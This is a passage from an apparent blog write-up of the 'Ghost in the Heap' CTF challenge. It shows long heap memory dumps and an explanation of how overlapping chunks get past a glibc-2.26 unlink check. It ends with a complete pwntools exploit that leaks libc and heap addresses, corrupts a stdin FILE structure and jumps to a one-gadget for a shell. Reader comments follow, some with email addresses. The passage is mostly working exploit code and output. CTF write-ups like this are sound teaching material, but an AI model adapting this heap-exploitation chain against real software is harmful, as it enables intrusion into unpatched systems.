0x7f7749d15bb0: 0x000055a7eadf5160 0x00007f7749d15ba8
After this we can find a hole at 0x55a7eadf51b0 and chunk at 0x55a7eadf5160 is of size 0x50.
Step 5:
Allocate Heap0, and craft a chunk at 0x55a7eadf50b0, whose FD and BK pointer are both 0x000055a7eadf5000.
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5070 0x0000000000000000 0x55a7e9caa060: 0x000055a7eadf51d0 0x000055a7eadf5010 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf50b0 0x000055a7eadf50b0 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x00000000000000b1 0x55a7eadf5070: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf5080: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf5090: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50a0: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50b0: 0x0000000000000000 0x0000000000000111 0x55a7eadf50c0: 0x000055a7eadf5000 0x000055a7eadf5000 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x0000000000000051 0x55a7eadf5120: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000050 0x0000000000000050 0x55a7eadf5170: 0x00007f7749d15b98 0x00007f7749d15b98 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf5110 0x000055a7eadf5110 0x7f7749d15b70: 0x000055a7eadf5110 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x000055a7eadf5160 0x7f7749d15bb0: 0x000055a7eadf5160 0x00007f7749d15ba8
Step 6:
Allocate Heap1, delete Heap2, Heap0. After reaching this point, the status of unsorted bin has become interesting. There are now two chunks in unsorted bin. The first one is at 0x55a7eadf50b0 of size 0x1c1; the other one is at 0x000055a7eadf5060 of size 0x101. So we need to create overlapping chunks next.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf5280 0x55a7e9caa060: 0x0000000000000000 0x000055a7eadf5010 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf5000 0x000055a7eadf5000 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x0000000000000101 0x55a7eadf5070: 0x000055a7eadf50b0 0x00007f7749d15b58 0x55a7eadf5080: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf5090: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50a0: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50b0: 0x0000000000000000 0x00000000000001c1 0x55a7eadf50c0: 0x00007f7749d15b58 0x000055a7eadf5060 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x0000000000000051 0x55a7eadf5120: 0x000055a7eadf5160 0x00007f7749d15b98 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000100 0x0000000000000050 0x55a7eadf5170: 0x00007f7749d15b98 0x00007f7749d15b98 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x00000000000001c0 0x00000000000000b0 0x55a7eadf5280: 0x000000000000006c 0x0000000000000000 0x55a7eadf5290: 0x0000000000000000 0x0000000000000000 0x55a7eadf52a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52c0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5300: 0x0000000000000000 0x0000000000000000 0x55a7eadf5310: 0x0000000000000000 0x0000000000000000 0x55a7eadf5320: 0x0000000000000000 0x0000000000020ce1 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5320 0x7f7749d15b60: 0x000055a7eadf5110 0x000055a7eadf5060 0x7f7749d15b70: 0x000055a7eadf50b0 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x000055a7eadf5160 0x7f7749d15bb0: 0x000055a7eadf5160 0x00007f7749d15ba8 0x7f7749d15bc0: 0x00007f7749d15ba8 0x00007f7749d15bb8
Step 7:
Allocate Heap0, Heap2.
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5070 0x000055a7eadf5280 0x55a7e9caa060: 0x000055a7eadf50c0 0x000055a7eadf5010 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf5000 0x000055a7eadf5000 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d1006d 0x00007f7749d15c48 0x55a7eadf5080: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf5090: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50a0: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50b0: 0x0000000000000000 0x00000000000000b1 0x55a7eadf50c0: 0x00007f7749d1006e 0x00007f7749d15d08 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x0000000000000051 0x55a7eadf5120: 0x000055a7eadf5160 0x00007f7749d15b98 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000050 0x0000000000000111 0x55a7eadf5170: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5280: 0x000000000000006c 0x0000000000000000 0x55a7eadf5290: 0x0000000000000000 0x0000000000000000 0x55a7eadf52a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52c0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5300: 0x0000000000000000 0x0000000000000000 0x55a7eadf5310: 0x0000000000000000 0x0000000000000000 0x55a7eadf5320: 0x0000000000000000 0x0000000000020ce1
Step 8:
Delete Heap0, Heap2. After this step, the first chunk in unsorted bin is at 0x55a7eadf5060 of size 0xb1. The second chunk in unsorted bin is at 0x55a7eadf5060 of size 0x1c1. The reason for this will be explained later.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf5280 0x55a7e9caa060: 0x0000000000000000 0x000055a7eadf5010 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf5000 0x000055a7eadf5000 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x000055a7eadf50b0 0x55a7eadf5080: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf5090: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50a0: 0x00000000deadbeef 0x00000000deadbeef 0x55a7eadf50b0: 0x0000000000000000 0x00000000000001c1 0x55a7eadf50c0: 0x000055a7eadf5060 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x00000000000000b0 0x0000000000000050 0x55a7eadf5120: 0x000055a7eadf5160 0x00007f7749d15b98 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000050 0x0000000000000111 0x55a7eadf5170: 0x00007f7749d15b58 0x000055a7eadf5060 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x00000000000001c0 0x00000000000000b0 0x55a7eadf5280: 0x000000000000006c 0x0000000000000000 0x55a7eadf5290: 0x0000000000000000 0x0000000000000000 0x55a7eadf52a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52c0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5300: 0x0000000000000000 0x0000000000000000 0x55a7eadf5310: 0x0000000000000000 0x0000000000000000 0x55a7eadf5320: 0x0000000000000000 0x0000000000020ce1 //Heap Status: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5320 0x7f7749d15b60: 0x000055a7eadf5160 0x000055a7eadf50b0 0x7f7749d15b70: 0x000055a7eadf5060 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x000055a7eadf5110 0x7f7749d15bb0: 0x000055a7eadf5160 0x00007f7749d15ba8
Step 10:
Allocate Heap0. Overwrite the data at 0x55a7eadf50c0 with _IO_2_1_stdion->buf_end – 0x10
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5070 0x000055a7eadf5280 0x55a7e9caa060: 0x0000000000000000 0x000055a7eadf5010 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf5000 0x000055a7eadf5000 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x00000000000000b1 0x55a7eadf5070: 0x0000000000000000 0x0000000000000000 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x0000000000000000 0x00000000000000b1 0x55a7eadf50c0: 0x0000000000000000 0x00007f7749d158f0<=Overwritten data 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x00000000000000b0 0x0000000000000051 0x55a7eadf5120: 0x000055a7eadf5160 0x00007f7749d15b98 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000050 0x0000000000000111 0x55a7eadf5170: 0x00007f7749d15b58 0x000055a7eadf5060 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x00000000000001c0 0x00000000000000b0 0x55a7eadf5280: 0x000000000000006c 0x0000000000000000 0x55a7eadf5290: 0x0000000000000000 0x0000000000000000 0x55a7eadf52a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52c0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf52f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5300: 0x0000000000000000 0x0000000000000000 0x55a7eadf5310: 0x0000000000000000 0x0000000000000000 0x55a7eadf5320: 0x0000000000000000 0x0000000000020ce1 //Heap Status: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5320 0x7f7749d15b60: 0x000055a7eadf5160 0x000055a7eadf50b0 0x7f7749d15b70: 0x000055a7eadf50b0 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x000055a7eadf5110 0x7f7749d15bb0: 0x000055a7eadf5160 0x00007f7749d15ba8
Important Note in Heap Overlapping
In step 7 and 8 in the procedure of creating overlapping, it seems to do something meaningless. But that’s the most tricky part in this challenge. Especially being tired and exhausted after so many tedious steps, it’s hard to come up with this solution.
Let’s first observe what will happen if step 7 and 8 were missing:
// The heap base is different from data above, just pay attention to last three bytes /* [*] corrupted size vs. prev_size: 0x00005646f58ef0b0 *** [*] ======= Backtrace: ========= [*] ./libc.so.6(+0x7908b)[0x7fd0b44f308b] [*] ./libc.so.6(+0x85482)[0x7fd0b44ff482] [*] ./libc.so.6(__libc_malloc+0x54)[0x7fd0b4500984] [*] ./ghost_in_the_heap(+0xc2c)[0x5646f55abc2c] [*] ./ghost_in_the_heap(+0xf9a)[0x5646f55abf9a] [*] ./libc.so.6(__libc_start_main+0xf1)[0x7fd0b449a3f1] [*] ./ghost_in_the_heap(+0x96a)[0x5646f55ab96a] */ 0x5646f58ef0b0: 0x0000000000000000 0x00000000000000b1 0x5646f58ef0c0: 0x0000000000000000 0x00007fd0b483b8f0 0x5646f58ef0d0: 0x0000000000000000 0x0000000000000000 0x5646f58ef0e0: 0x0000000000000000 0x0000000000000000 0x5646f58ef0f0: 0x0000000000000000 0x0000000000000000 0x5646f58ef100: 0x0000000000000000 0x0000000000000001 0x5646f58ef110: 0x0000000000000110 0x0000000000000051 0x5646f58ef120: 0x00005646f58ef160 0x00007fd0b483bb98 0x5646f58ef130: 0x0000000000000000 0x0000000000000000 0x5646f58ef140: 0x0000000000000000 0x0000000000000000 0x5646f58ef150: 0x0000000000000000 0x0000000000000000 0x5646f58ef160: 0x0000000000000050 0x0000000000000050 0x5646f58ef170: 0x00007fd0b483bb98 0x00005646f58ef110
This is a newly added check in glibc-2.26 in unlink function:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
As mentioned in Step 4, we cannot manipulate the HOLE. So we need an alternative way to get over this. The solution is avoid triggering unlink function in __int_malloc, which exists in processing smallbin (line 3915 in malloc.c libc-2.26).
After taking a deeper look into the heap status, we find that without step 7 and 8, 0x5646f58ef0b0 will be inserted into small bin. So let’s observe the heap status after corrupting the BK pointer without step 7, 8 and with step 7, 8 respectively.
/*Without step 7 and 8:*/ //Heap Layout: 0x558e0ef660b0: 0x0000000000000000 0x00000000000000b1 0x558e0ef660c0: 0x0000000000000000 0x00007f32f74d18f0 0x558e0ef660d0: 0x0000000000000000 0x0000000000000000 0x558e0ef660e0: 0x0000000000000000 0x0000000000000000 0x558e0ef660f0: 0x0000000000000000 0x0000000000000000 0x558e0ef66100: 0x0000000000000000 0x0000000000000001 0x558e0ef66110: 0x0000000000000110 0x0000000000000051 0x558e0ef66120: 0x00007f32f74d1b58 0x00007f32f74d1b58 //Heap Status: 0x7f32f74d1b00: 0x0000000100000000 0x0000000000000000 0x7f32f74d1b10: 0x0000000000000000 0x0000000000000000 0x7f32f74d1b20: 0x0000000000000000 0x0000000000000000 0x7f32f74d1b30: 0x0000000000000000 0x0000000000000000 0x7f32f74d1b40: 0x0000000000000000 0x0000000000000000 0x7f32f74d1b50: 0x0000000000000000 0x0000558e0ef66320 0x7f32f74d1b60: 0x0000558e0ef66110 0x0000558e0ef66110 0x7f32f74d1b70: 0x0000558e0ef66110 0x00007f32f74d1b68 0x7f32f74d1b80: 0x00007f32f74d1b68 0x00007f32f74d1b78 0x7f32f74d1b90: 0x00007f32f74d1b78 0x00007f32f74d1b88 0x7f32f74d1ba0: 0x00007f32f74d1b88 0x0000558e0ef66160 0x7f32f74d1bb0: 0x0000558e0ef66160 0x00007f32f74d1ba8 .......... 0x7f32f74d1d10: 0x00007f32f74d1cf8 0x0000558e0ef660b0 0x7f32f74d1d20: 0x0000558e0ef660b0 0x00007f32f74d1d18 /*With Step 7 and 8*/ //Heap Layout: 0x55f13a9e30b0: 0x0000000000000000 0x00000000000000b1 0x55f13a9e30c0: 0x0000000000000000 0x00007f141e5d78f0 0x55f13a9e30d0: 0x0000000000000000 0x0000000000000000 0x55f13a9e30e0: 0x0000000000000000 0x0000000000000000 0x55f13a9e30f0: 0x0000000000000000 0x0000000000000000 0x55f13a9e3100: 0x0000000000000000 0x0000000000000001 0x55f13a9e3110: 0x00000000000000b0 0x0000000000000051 0x55f13a9e3120: 0x000055f13a9e3160 0x00007f141e5d7b98 //Heap Status: 0x7f141e5d7b00: 0x0000000100000000 0x0000000000000000 0x7f141e5d7b10: 0x0000000000000000 0x0000000000000000 0x7f141e5d7b20: 0x0000000000000000 0x0000000000000000 0x7f141e5d7b30: 0x0000000000000000 0x0000000000000000 0x7f141e5d7b40: 0x0000000000000000 0x0000000000000000 0x7f141e5d7b50: 0x0000000000000000 0x000055f13a9e3320 0x7f141e5d7b60: 0x000055f13a9e3160 0x000055f13a9e30b0 0x7f141e5d7b70: 0x000055f13a9e30b0 0x00007f141e5d7b68 0x7f141e5d7b80: 0x00007f141e5d7b68 0x00007f141e5d7b78
So far, we know why we need step 7 and 8. The next question is why we do so in step 7 and 8.
The key lies in how chunks in unsorted bin are processed according to the requested size. If the size of requested chunk is equal to the first chunk in unsorted bin, the first chunk will be unlinked from unsorted bin directly and returned. The remaining chunks will not be accessed. Therefore, the main idea of step 7 and 8 is to make the first chunk of unsorted bin be of size 0xb0. In step 9, after allocating a chunk of size 0xb0, the chunk of size 0x1c0 will still be left in unsorted bin.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): remote("52.193.196.17", 56746); elif(DEBUG == 1): r = process("./ghost_in_the_heap"); elif(DEBUG == 2): r = process("./ghost_in_the_heap"); gdb.attach(r, '''source ./script.py'''); def new(data): r.recvuntil(": "); r.sendline("1"); r.recvuntil(":"); r.sendline(data); def delete(index): r.recvuntil(": "); r.sendline("2"); r.recvuntil(":"); r.sendline(str(index)); def addGhost(magic, desc): r.recvuntil(": "); r.sendline("3"); r.recvuntil(":"); r.sendline(str(magic)); r.recvuntil(":"); r.send(desc); def watchGhost(magic): r.recvuntil(": "); r.sendline("4"); r.recvuntil(":"); r.sendline(str(magic)); def removeGhost(): r.recvuntil(": "); r.sendline("5"); def exploit(): # leak libc base new("a"*0x10); new("b"*0x10); delete(0); addGhost(1, "d"*8); watchGhost(1); r.recvuntil("d"*8); leaked = r.recv(6); leakedValue = u64(leaked + "\x00\x00"); log.info("leaked value: 0x%x" % leakedValue); libcBase = leakedValue - 0x3c1bf8; #clear heap removeGhost(); delete(1); # leak heap address addGhost(1, "d"*8); new("e"*0x10); new("f"*0x10); new("g"*0x10); removeGhost(); delete(0); delete(2); new("h"); new("i"); delete(1); new("j"); delete(0); addGhost(1, 'k'*9); watchGhost(1); r.recvuntil("k"*9); leaked = r.recv(5); leakedValue = u64("\x00"+ leaked +"\x00\x00"); heapAddr = leakedValue; log.info("heap base address: 0x%x" % heapAddr); # clear heap delete(1); removeGhost(); delete(0); delete(2); # overlap chunk new("k"); addGhost(1, 'l'); new("l"); new("m"); delete(0); removeGhost(); delete(2); new("n"); new("o"); delete(0); delete(1); new("p"*0xa8); new("q"); delete(1); delete(0); addGhost(1, p64(heapAddr + 0xb0)*2); new(p64(0xdeadbeef)*8 + p64(0) + p64(0x111) + p64(heapAddr)*2); new("l"); delete(2); delete(0); new("m"); new("n"); delete(0); delete(2); buf_end = libcBase + 0x3c1900; lock = libcBase + 0x3c3770; new(p64(0)*8 + p64(0x0) + p64(0xb1) + p64(0) +p64(buf_end-0x10)); log.info("hijacking control flow"); new("\x00"*5 + p64(lock) + p64(0)*9 + "A"*0x150 + p64(libcBase + 0xf24cb) + p64(libcBase + 0x86f10)); removeGhost(); r.recvuntil(": "); r.sendline("3"); r.interactive() exploit();
Reference
[1] https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon/ghost_in_the_heap
[…] via off-by-one NULL byte vulnerability in exploitation. Since that’s the techniques used in Ghost in the Heap. We recommend interested readers to read [2] for more information on overlapping […]
LikeLiked by 1 person
[…] two functions are important in fread/fwrite respectively. And the exploitation techniques used in Ghost In The Heap will involve […]
LikeLiked by 1 person
Could you send me the binary of `ghost in the heap`? I can not find it anywhere on the internet. Thank you very much!
LikeLike
Hi, can you leave a mail address here or send your mail address to dangokyo@gmail.com? I can send the zipped file to you.
LikeLike
Hello, could you send me the binary for this ctf? My email is testzer0@hotmail.com
Thank you.
LikeLike